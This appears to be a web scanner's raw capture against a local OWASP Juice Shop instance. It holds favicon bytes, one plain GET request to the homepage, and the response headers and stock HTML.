c9\xed\xffF\xb9\xe3\xff@\xa4\xdb\xff;\x8c\xd7\xff6v\xd8\xff1b\xdc\xff6d\xde\xfd9f\xde\x99(Y\xdc\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x03#:\xcfH#:\xcf\xb5#9\xcf\xed&E\xcf\xfd9\x8a\xcd\xff+T\xd1\xff)U\xc3\xff>\xa3\xc8\xff?\xa8\xcb\xffA\xac\xd0\xffK\xd0\xf5\xffL\xd9\xfe\xffM\xd8\xfd\xffM\xd7\xfa\xffL\xd1\xf4\xffC\xb0\xdc\xfd4m\xd9\xce0^\xddp,\\\xdc\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\n!4\xcf0-_\xcet?\xa3\xcc\xf34\x81\xc7\xff3y\xc0\xffM\xac\xce\xffd\xb9\xd5\xff]\xb9\xd7\xffT\xd2\xf4\xffu\xe1\xfe\xffb\xdc\xfd\xffS\xd9\xfd\xffM\xd9\xfe\xffG\xc0\xe5\xf3>\x9a\xccA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xaa\xcc4A\xa9\xcc\xf0{\xc4\xdb\xff\xbe\xe2\xed\xff\xdc\xef\xf6\xff\xf3\xfa\xfc\xff\x9f\xd7\xe9\xfff\xd5\xf4\xff\xeb\xfb\xff\xff\xea\xfa\xff\xff\xce\xf4\xfe\xff\xa6\xec\xff\xffV\xc7\xe9\xf8>\xa7\xcaF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xccEB\xaa\xcc\xf8\xaf\xdb\xe9\xff\xd8\xee\xf5\xff\xbd\xe1\xed\xff\xf3\xf9\xfc\xff\xa2\xd8\xe9\xffV\xd1\xf3\xff\xa9\xed\xff\xff\xd6\xf6\xff\xff\xf3\xfc\xff\xff\xf4\xfd\xff\xffl\xcf\xec\xfd;\xa8\xcdX\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xccWB\xa9\xcc\xfdQ\xb0\xd0\xffJ\xad\xce\xffR\xb1\xd1\xff\xe3\xf2\xf7\xff\x9f\xd6\xe8\xffK\xce\xf3\xffY\xdb\xfe\xffW\xda\xfd\xff\x86\xe4\xfe\xff\xf1\xfd\xff\xffw\xd4\xf0\xff<\xaa\xcfk\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xccjA\xa9\xcc\xff@\xa9\xcc\xff?\xa8\xcc\xffS\xb1\xd1\xff\xe4\xf3\xf8\xff\x9a\xd4\xe7\xff\\\xd2\xf3\xff\xcf\xf5\xff\xff\xc4\xf2\xfe\xff\xb9\xf0\xfe\xff\xf7\xfe\xff\xff\x82\xda\xf3\xff<\xad\xd1\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc}A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffT\xb2\xd1\xff\xe5\xf3\xf8\xff\x97\xd3\xe6\xff^\xd2\xf3\xff\xea\xfb\xff\xff\xfa\xfe\xff\xff\xfa\xfe\xff\xff\xff\xff\xff\xff\x8f\xdf\xf6\xff>\xaf\xd4\x92\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x91A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffU\xb2\xd1\xff\xe6\xf4\xf8\xff\x95\xd2\xe6\xff\\\xd1\xf2\xff\xea\xfb\xff\xff\xad\xed\xfe\xffy\xe2\xfd\xff\x96\xe8\xfe\xffr\xdb\xf8\xffB\xb3\xd7\xa5,\\|\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x01A\xa9\xcc\xa4A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffV\xb2\xd2\xff\xe7\xf4\xf8\xff\x93\xd1\xe5\xff[\xd1\xf2\xff\xe9\xfb\xff\xff\x9a\xe9\xfe\xffF\xd6\xfd\xffI\xd7\xfd\xffK\xd4\xf9\xffE\xb6\xda\xb7:\x91\xb3\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x06A\xa9\xcc\xb6A\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffW\xb3\xd2\xff\xe8\xf5\xf9\xff\x91\xd0\xe4\xffZ\xd0\xf2\xff\xe7\xfa\xff\xff\xbd\xf0\xfe\xffv\xe1\xfd\xffh\xde\xfd\xffW\xd8\xfb\xffE\xb9\xdd\xc8=\x9b\xbe\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\rA\xa9\xcc\xc7A\xa9\xcc\xffA\xa9\xcc\xff?\xa8\xcc\xff[\xb5\xd3\xff\xeb\xf6\xfa\xff\x8f\xcf\xe3\xffY\xd0\xf1\xff\xe5\xfa\xff\xff\xff\xff\xff\xff\xfa\xfe\xff\xff\xf2\xfc\xff\xff\xb2\xed\xfd\xffH\xbc\xe0\xd6=\xa0\xc2\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x16A\xa9\xcc\xd6A\xa9\xcc\xffA\xa9\xcc\xff@\xa9\xcc\xffR\xb1\xd1\xff\xa3\xd5\xe6\xffj\xbe\xd9\xffR\xce\xf1\xff\xa1\xeb\xff\xff\xbc\xf0\xfe\xff\xc7\xf3\xfe\xff\xd5\xf6\xff\xff\xb3\xee\xfe\xffK\xc0\xe3\xe3>\xa3\xc6"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc!A\xa9\xcc\xe2A\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xff@\xa8\xcc\xffA\xab\xce\xffK\xcd\xf2\xffM\xd9\xfe\xffN\xd8\xfd\xffQ\xd9\xfd\xffT\xda\xfd\xffV\xda\xfe\xffI\xc3\xe7\xed@\xa5\xc8/\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc/A\xa9\xcc\xedA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xaa\xcd\xffI\xc4\xe9\xffL\xcf\xf4\xffL\xd0\xf5\xffL\xd1\xf6\xffL\xd3\xf7\xffM\xd4\xf9\xffH\xc3\xe7\xf5A\xa7\xca?\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xa6\xca:A\xa8\xcb\xf2A\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffC\xaf\xd2\xffH\xc3\xe7\xffI\xc5\xe9\xffI\xc6\xe9\xffI\xc5\xe8\xffH\xc2\xe6\xffH\xc2\xe6\xffG\xbe\xe2\xf6D\xb4\xd7E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x95\xc3\x11>\x9c\xc6\xad@\xa6\xcb\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xa9\xcc\xffA\xaa\xcd\xffI\xc6\xea\xffN\xd9\xfe\xffN\xd7\xfd\xffB\xb5\xe2\xffE\xbb\xe6\xffN\xd9\xfd\xffN\xd7\xfc\xffN\xd6\xfb\xabL\xd2\xf7\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbf$=\x97\xc4\xca@\xa5\xca\xffA\xa9\xcc\xffA\xa8\xcb\xffF\xba\xde\xffN\xd7\xfc\xffO\xda\xfe\xff:\x9b\xce\xff\x181\x83\xff#K\xaa\xffG\xc1\xf4\xffN\xda\xfe\xd0N\xd8\xfd&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbe=<\x94\xc2\xe1@\xa3\xc9\xffC\xb1\xd4\xffL\xd1\xf6\xffN\xd8\xfe\xffN\xd9\xfe\xff0}\xb9\xff\x1a+\xa4\xff\'J\xd2\xffE\xb7\xf3\xeaP\xde\xffH\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8a\xbe[<\x95\xc4\xf1I\xc5\xeb\xffN\xd9\xfe\xffN\xd8\xfd\xffN\xd9\xfd\xffJ\xca\xf4\xff9\x8e\xe4\xffB\xad\xf1\xfcN\xd7\xfduU\xf2\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\'D\x84\x04C\xad\xda\xa2M\xd4\xfa\xffN\xd8\xfd\xffN\xd8\xfd\xffN\xd8\xfd\xfcN\xd9\xfd\xf3O\xda\xfe\xe8O\xda\xfe\xc3N\xd9\xfd \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00E\xb5\xe0dM\xd5\xfb\xa8N\xd8\xfd\x89N\xd8\xfdnN\xd8\xfdSN\xd8\xfd;N\xd8\xfd&N\xd8\xfd\x14N\xd8\xfd\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00B\xaa\xd8\x03K\xcc\xf3\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xc7\xff\xf0~\x03\xff\xf0\x00\x00\x7f\xf8\x00\x00\x0f\xfe\x00\x00\x0f\xff\x00\x00\x0f\xff\x80\x00\x0f\xff\xc0\x00?\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00\x7f\xff\xf8\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf0\x00?\xff\xf8\x00\x7f\xff\xfc\x00\xff\xff\xfe\x01\xff\xff\xfe\x01\xff\xff\xff?\xff\xff\xff\xff\xff\xff\xff\xff\xff(\x00\x00\x00\x10\x00\x00\x00 \x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#;\xcd\x01-V\xd9\t1a\xdd\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\r#:\xcfW$>\xd0\\%>\xd1I#9\xcf:#9\xcf4%?\xd1C*N\xd6\x81,R\xd8\xbc0]\xdc\x971a\xdd,-Y\xd9\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x13#:\xcf\xaa$>\xd0\xf9+N\xd7\xfa,S\xd8\xf3,R\xd8\xf1.W\xda\xf70]\xdc\xff0]\xdc\xff1^\xdd\xfe1_\xdd\xe4Fp\xe1\xafNw\xe2c0_\xdd\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x0c#:\xcfu&A\xd2\xf4+O\xd7\xff,S\xd8\xff+P\xd6\xff/a\xd5\xff6x\xd9\xff5q\xdb\xff1d\xdb\xff?j\xdf\xffk\x8d\xe7\xe2Ir\xe1#\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x06#9\xcfk#9\xcf\xd9*T\xcf\xf9*^\xcb\xff:\x98\xc9\xffF\xbb\xe0\xffH\xc7\xf2\xffA\xb0\xe8\xff8\x7f\xdc\xeb>h\xdf\x80Cn\xe0\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00#:\xcf\x02\x1f/\xcf\x1b>\x95\xcd\xa6l\xab\xd6\xff\x9a\xcf\xe3\xffw\xd1\xec\xff\x9f\xeb\xff\xff\x88\xe5\xfc\xffQ\xbf\xe4\x9d\x00\x00\x99\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00I\xad\xce\x9d~\xc6\xdc\xff\xba\xdf\xec\xff\x88\xd9\xf1\xff\x95\xe7\xfe\xff\xca\xf3\xfe\xffw\xce\xe8\xa8\x00\x0bZ\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x04A\xa9\xcc\xb0<\xa7\xcb\xff\x93\xce\xe2\xff\x8f\xda\xf0\xff\xc1\xf1\xfe\xff\xd5\xf6\xfe\xff\x7f\xd2\xeb\xba\x00|\xaf\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\nA\xa9\xcc\xc1?\xa8\xcb\xff\x96\xcf\xe2\xff\x91\xda\xef\xff\xb7\xef\xfe\xffu\xe1\xfe\xffX\xcc\xed\xca2\x9d\xc2\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x13A\xa9\xcc\xd1?\xa8\xcb\xff\x97\xd0\xe3\xff\x8c\xd8\xee\xff\xce\xf4\xfe\xff\xaf\xee\xfe\xffo\xd3\xf0\xd81\xa5\xcc\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00A\xa9\xcc\x1dA\xa9\xcc\xde@\xa9\xcc\xff^\xb5\xd3\xff[\xc5\xe4\xff\x81\xe3\xfd\xff\x96\xe8\xfe\xffm\xd5\xf2\xe49\xac\xd2#\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xa7\xcb\'A\xa8\xcc\xe7A\xa9\xcc\xff?\xa8\xcb\xffE\xba\xde\xffI\xcd\xf2\xffH\xcd\xf2\xffH\xc8\xec\xebE\xb6\xd9,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x99\xc5\n?\x9f\xc8\x9e@\xa6\xcb\xffC\xb0\xd4\xffK\xcf\xf4\xff9\x95\xcd\xff>\xa3\xde\xffM\xd6\xfa\xa0J\xc9\xed\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x8b\xbe\x1b>\x9d\xc8\xbeI\xc6\xeb\xffM\xd7\xfb\xff6\x89\xd2\xff:\x91\xe3\xcbQ\xe3\xff \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xb2\xdeIM\xd3\xf9\xbdN\xd9\xfd\xa6N\xd7\xfe\x8dN\xd8\xfeA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00G\xbe\xe6\x05M\xd4\xf9\x0bN\xd9\xfe\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\xff\x1f\x00\x00\xc0\x07\x00\x00\xf0\x03\x00\x00\xf8\x03\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfc\x07\x00\x00\xfe\x0f\x00\x00\xff\x1f\x00\x00\xff\xff\x00\x00'
GET http://localhost:3000/ HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Tue, 05 Mar 2024 22:20:47 GMT\r\nETag: W/"ea4-18e10b47bc6"\r\nContent-Type: text/html; charset=UTF-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 22:26:35 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n'
b'<!--\n ~ Copyright (c) 2014-2023 Bjoern Kimminich & the OWASP Juice Shop contributors.\n ~ SPDX-License-Identifier: MIT\n --><!DOCTYPE html><html lang="en"><head>\n <meta charset="utf-8">\n <title>OWASP Juice Shop</title>\n <meta name="description" content="Probably the most modern and sophisticated insecure web application">\n <meta name="viewport" content="width=device-width, initial-scale=1">\n <link id="favicon" rel="icon" type="image/x-icon" href="assets/public/favicon_js.ico">\n <link rel="stylesheet" type="text/css" href="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.css">\n <script src="//cdnjs.cloudflare.com/ajax/libs/cookieconsent2/3.1.0/cookieconsent.min.js"></script>\n <script src="//cdnjs.cloudflare.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>\n <script>\n window.addEventListener("load", function(){\n window.cookieconsent.initialise({\n "palette": {\n "popup": { "background": "var(--theme-primary)", "text": "var(--theme-text)" },\n "button": { "background": "var(--theme-accent)", "text": "var(--theme-text)" }\n },\n "theme": "classic",\n "position": "bottom-right",\n "content": { "message": "This website uses fruit cookies to ensure you get the juiciest tracking experience.", "dismiss": "Me want it!", "link": "But me wait!", "href": "https://www.youtube.com/watch?v=9PnbKL3wuH4" }\n })});\n </script>\n<style>.bluegrey-lightgreen-theme{--theme-primary:#546e7a;--theme-primary-lighter:#607e8c;--theme-primary-light:#698998;--theme-primary-darker:#485e68;--theme-primary-dark:#3f535c;--theme-primary-fade-10:rgba(84, 110, 122, .9);--theme-primary-fade-20:rgba(84, 110, 122, .8);--theme-primary-fade-30:rgba(84, 110, 122, .7);--theme-primary-fade-40:rgba(84, 110, 122, .6);--theme-primary-fade-50:rgba(84, 110, 122, .5);--theme-accent:#689f38;--theme-accent-lighter:#77b640;--theme-accent-light:#81bf4b;--theme-accent-darker:#598830;--theme-accent-dark:#4f792b;--theme-accent-fade-10:rgba(104, 159, 56, .9);--theme-accent-fade-20:rgba(104, 159, 56, .8);--theme-accent-fade-30:rgba(104, 159, 56, .7);--theme-accent-fade-40:rgba(104, 159, 56, .6);--theme-accent-fade-50:rgba(104, 159, 56, .5);--theme-warn:#ff5722;--theme-warn-lighter:#ff6e41;--theme-warn-light:#ff7e55;--theme-warn-darker:#ff4003;--theme-warn-dark:#ee3900;--theme-warn-fade-10:rgba(255, 87, 34, .9);--theme-warn-fade-20:rgba(255, 87, 34, .8);--theme-warn-fade-30:rgba(255, 87, 34, .7);--theme-warn-fade-40:rgba(255, 87, 34, .6);--theme-warn-fade-50:rgba(255, 87, 34, .5);--theme-text:white;--theme-text-lighter:white;--theme-text-light:white;--theme-text-darker:#e6e6e6;--theme-text-dark:#bfbfbf;--theme-text-fade-10:rgba(255, 255, 255, .9);--theme-text-fade-20:rgba(255, 255, 255, .8);--theme-text-fade-30:rgba(255, 255, 255, .7);--theme-text-fade-40:rgba(255, 255, 255, .6);--theme-text-fade-50:rgba(255, 255, 255, .5);--theme-text-invert-15:#d9d9d9;--theme-text-invert-30:#b3b3b3;--theme-background:#424242;--theme-background-lighter:#515151;--theme-background-light:#5c5c5c;--theme-background-darker:#333333;--theme-background-dark:#292929;--theme-background-darkest:#1e1e1e}.bluegrey-lightgreen-theme.mat-app-background{background-color:#303030;color:#fff}@media screen and (-webkit-min-device-pixel-ratio:0){}</style><link rel="stylesheet" href="styles.css" media="print" onload="this.media=\'all\'"><noscript><link rel="stylesheet" href="styles.css"></noscript></head>\n<body class="mat-app-background bluegrey-lightgreen-theme">\n <app-root></app-root>\n<script src="runtime.js" type="module"></script><script src="polyfills.js" type="module"></script><script src="vendor.js" type="module"></script><script src="main.js" type="module"></script>\n\n</body></html>'
